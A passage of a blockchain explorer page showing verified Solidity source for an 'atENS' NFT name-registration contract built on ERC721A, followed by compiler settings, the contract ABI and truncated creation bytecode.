TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex < end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.17; contract atENS is ERC721A, Ownable, ReentrancyGuard { mapping(address => uint64) public allowlistAddresses; mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses; mapping(string => address) public resolveAddress; mapping(address => string) public primaryAddress; mapping(string => bool) public subDomains_publicSale; mapping(string => uint) public subDomains_cost; mapping(string => bytes32) public subDomains_allowList; mapping(string => uint) public subDomains_allowList_cost; mapping(string => mapping(string => string)) public dataAddress; using Strings for uint256; bytes32 public merkleRoot = 0xfd2c0bef83a86fa254b0b5e88bd7388f2f4994da100124b9aec4b4dcaa3ee9cd; uint256 public cost = 7000000000000000; uint256 public allowlistCost = 0; bool public IS_SALE_ACTIVE = false; bool public IS_ALLOWLIST_ACTIVE = false; bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz"; string private BASE_URI = ''; string private domain = ''; uint256 public subdomains_fee = 10; uint256 private maxCharSize = 20; uint32 private allowlistMintedQuantity = 0; uint32 private MAX_FREE = 300; constructor() ERC721A("@ENS", "@") { // tokenIDandAddress[_currentIndex]="@"; // tokenAddressandID["@"]=_currentIndex; // resolveAddress["@"]=msg.sender; // _safeMint(msg.sender,1); } function setMaxFree (uint32 max) external onlyOwner { MAX_FREE = max; } function _baseURI() internal view virtual override returns (string memory) { return BASE_URI; } function setAddress(string calldata handle, address newresolve) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[handle]); if (Ownership.addr != msg.sender) revert("Error"); bytes memory result = bytes(primaryAddress[resolveAddress[handle]]); if (keccak256(result) == keccak256(bytes(handle))) { primaryAddress[resolveAddress[handle]]=""; } resolveAddress[handle]=newresolve; } function setPrimaryAddress(string calldata handle) external { require(resolveAddress[handle]==msg.sender, "Error"); primaryAddress[msg.sender]=handle; } function setDataAddress(string calldata handle, string calldata setArea, string memory newDatas) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[handle]); if (Ownership.addr != msg.sender) revert("Error"); dataAddress[handle][setArea]=newDatas; } function getDataAddress(string memory handle, string calldata Area) public view returns(string memory) { return dataAddress[handle][Area]; } function setBaseURI(string memory customBaseURI_) external onlyOwner { BASE_URI = customBaseURI_; } function setMaxCharSize(uint256 maxCharSize_) external onlyOwner { maxCharSize = maxCharSize_; } function setAllowChars(bytes memory allwchr) external onlyOwner { _allowChars = allwchr; } function setPrice(uint256 customPrice) external onlyOwner { cost = customPrice; } function setWhitelistPrice(uint256 customPrice) external onlyOwner { allowlistCost = customPrice; } function setSaleActive(bool saleIsActive) external onlyOwner { IS_SALE_ACTIVE = saleIsActive; } function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner { IS_ALLOWLIST_ACTIVE = WhitesaleIsActive; } function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata handle) public { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[handle]); require(Ownership.addr == msg.sender, "Invalid"); subDomains_cost[handle] = customPrice; subDomains_publicSale[handle] = saleIsActive; } function register(string memory handle) public payable { uint256 price = cost; require(bytes(handle).length<=maxCharSize,"Name is too long"); require(bytes(handle).length>0,"Invalid name"); require(_checkName(handle), "Invalid name"); require (tokenAddressandID[handle] == 0 , "Sorry, this @ens is taken"); require(IS_SALE_ACTIVE, "Sale is not active"); require(msg.value >= price, "Insufficient funds"); tokenIDandAddress[_currentIndex]=handle; tokenAddressandID[handle]=_currentIndex; resolveAddress[handle]=msg.sender; _safeMint(msg.sender,1); } function allowList(string memory handle, bytes32[] calldata _merkleProof) public payable { require(IS_ALLOWLIST_ACTIVE, "Allowlist sale is not active"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof"); require(bytes(handle).length<=maxCharSize,"Name is too long"); require(bytes(handle).length>0,"Write a name"); require(_checkName(handle), "Invalid name"); require (tokenAddressandID[handle] == 0 , "This is already taken"); require(msg.value >= allowlistCost, "Insufficient funds!"); // require(allowlistAddresses[msg.sender] < 3, "You have reached maximum allowlist mints"); // allowlistAddresses[msg.sender] += 1; require(allowlistMintedQuantity < MAX_FREE, "All allowlist mints have been claimed!"); allowlistMintedQuantity += 1; tokenIDandAddress[_currentIndex]=handle; tokenAddressandID[handle]=_currentIndex; resolveAddress[handle]=msg.sender; _safeMint(msg.sender,1); } function checkAllowlist(bytes32[] calldata _proof) public view returns(bool) { bool allowed = MerkleProof.verify(_proof, merkleRoot, keccak256(abi.encodePacked(msg.sender))); return allowed; } function registerSubdomain(string memory handle, string memory subdomain_name) public payable { require(IS_SALE_ACTIVE, "Sale is not active!"); string memory new_domain=string.concat(subdomain_name,'.',handle); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(handle), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[handle]); if (Ownership.addr == msg.sender) { tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } else { require(subDomains_publicSale[handle]==true, "Only Owner can register"); require(msg.value >= subDomains_cost[handle], "Insufficient funds!"); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } } function allowListSubdomain(string memory handle, string memory subdomain_name, bytes32[] calldata _merkleProof) public payable { string memory new_domain=string.concat(subdomain_name,'.',handle); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, subDomains_allowList[handle], leaf),"Invalid proof!"); require(msg.value >= subDomains_allowList_cost[handle], "Insufficient funds!"); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(handle), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require(subDomains_allowlistAddresses[handle][msg.sender]!=true, "Claimed!"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[handle]); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); subDomains_allowlistAddresses[handle][msg.sender] = true; tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } function namediff(uint256 tokenId , string calldata new_handle) external onlyOwner { tokenIDandAddress[tokenId]=new_handle; tokenAddressandID[new_handle]=tokenId; } function walletOfOwnerName(address _owner) public view returns (string[] memory) { uint256 ownerTokenCount = balanceOf(_owner); string[] memory ownedTokenIds = new string[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain); ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function lastAddresses(uint256 count) public view returns (string[] memory) { uint256 total = totalSupply(); string[] memory lastAddr = new string[](count); uint256 currentId = total - count; uint256 ownedTokenIndex = 0; require(currentId>=0,"Invalid"); while (total > currentId) { lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain); ownedTokenIndex++; total--; } return lastAddr; } function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner { merkleRoot = _newMerkleRoot; } function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory handle, uint256 _cost) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[handle]); if (Ownership.addr != msg.sender) revert("Error"); subDomains_allowList[handle] = _newMerkleRoot; subDomains_allowList_cost[handle] = _cost; } function _checkName(string memory _name) public view returns(bool){ uint allowedChars =0; bytes memory byteString = bytes(_name); bytes memory allowed = bytes(_allowChars); for(uint i=0; i < byteString.length ; i++){ for(uint j=0; j<allowed.length; j++){ if(byteString[i]==allowed[j] ) allowedChars++; } } if (allowedChars==byteString.length) { return true; } else { return false; } } /** PAYOUT **/ function withdraw() public onlyOwner nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(0x87160c15d9d10D31A85646da860d93620e2a82a1),balance); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowlistCost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"}],"name":"checkAllowlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_handle","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"max","type":"uint32"}],"name":"setMaxFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"handle","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"handle","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"handle","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setWhitelistPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwnerName","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
7ffd2c0bef83a86fa254b0b5e88bd7388f2f4994da100124b9aec4b4dcaa3ee9cd6015556618de76816d800060165560006017556018805461ffff1916905560e06040526026608081815290620045b260a0396019906200006190826200023c565b50604080516020810190915260008152601a906200008090826200023c565b50604080516020810190915260008152601b906200009f90826200023c565b50600a601c556014601d55601e80546001600160401b03191665012c00000000179055348015620000cf57600080fd5b506040518060400160405280600481526020016340454e5360e01b815250604051806040016040528060018152602001600160fe1b81525081600490816200011891906200023c565b5060056200012782826200023c565b50506001600055506200013a3362000145565b6001600b5562000308565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001c257607f821691505b602082108103620001e357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200023757600081815260208120601f850160051c81016020861015620002125750805b601f850160051c820191505b8181101562000233578281556001016200021e565b5050505b505050565b81516001600160401b0381111562000258576200025862000197565b6200027081620002698454620001ad565b84620001e9565b602080601f831160018114620002a857600084156200028f5750858301515b600019600386901b1c1916600185901b17855562000233565b600085815260208120601f198616915b82811015620002d957888601518255948401946001909101908401620002b8565b5085821015620002f85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b61429a80620003186000396000f3fe60806040526004361061038c5760003560e01c806379b85bec116101dc578063ad45a3ed11610102578063d6bc2c7f116100a0578063f121a8701161006f578063f121a87014610b5f578063f2c298be14610b7f578063f2fde38b14610b92578063f990f91a14610bb257600080fd5b8063d6bc2c7f14610a9e578063d7d6c48514610ad6578063e3f49d1314610af6578063e985e9c51